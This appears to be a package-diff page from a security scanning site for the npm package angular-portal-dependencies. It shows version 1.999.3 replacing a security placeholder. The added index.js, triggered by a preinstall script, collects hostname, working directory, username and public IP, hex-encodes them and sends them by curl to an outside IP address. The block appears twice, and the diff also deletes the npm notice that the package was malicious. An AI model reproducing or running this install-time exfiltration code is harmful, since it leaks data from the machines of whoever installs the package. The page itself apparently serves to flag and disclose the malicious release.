angular-portal-dependencies 0.0.1-security → 1.999.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of angular-portal-dependencies might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,15 @@
1
+ const { exec } = require("child_process");
2
+
3
+ const command = `hostname; pwd; whoami; echo 'poc'; curl https://ifconfig.me;`;
4
+
5
+ exec(`a=$(${command}) && echo $a | xxd -p | head | while read ut; do curl -k -i -s "http://198.199.83.132/?data=$ut"; done`,
6
+ (error, data, stderr) => {
7
+ if (error) {
8
+ console.error(`exec error: ${error}`);
9
+ return;
10
+ }
11
+
12
+ console.log(`Data: ${data}`);
13
+ console.error(`stderr: ${stderr}`);
14
+ });
15
+
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "angular-portal-dependencies",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.999.3",
4
+ "description": "",
5
+ "main": "main.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "elsamux",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "lodash": "^4.17.21"
14
+ }
6
15
  }
@@ -0,0 +1,15 @@
1
+ const { exec } = require("child_process");
2
+
3
+ const command = `hostname; pwd; whoami; echo 'poc'; curl https://ifconfig.me;`;
4
+
5
+ exec(`a=$(${command}) && echo $a | xxd -p | head | while read ut; do curl -k -i -s "http://198.199.83.132/?data=$ut"; done`,
6
+ (error, data, stderr) => {
7
+ if (error) {
8
+ console.error(`exec error: ${error}`);
9
+ return;
10
+ }
11
+
12
+ console.log(`Data: ${data}`);
13
+ console.error(`stderr: ${stderr}`);
14
+ });
15
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=angular-portal-dependencies for more information.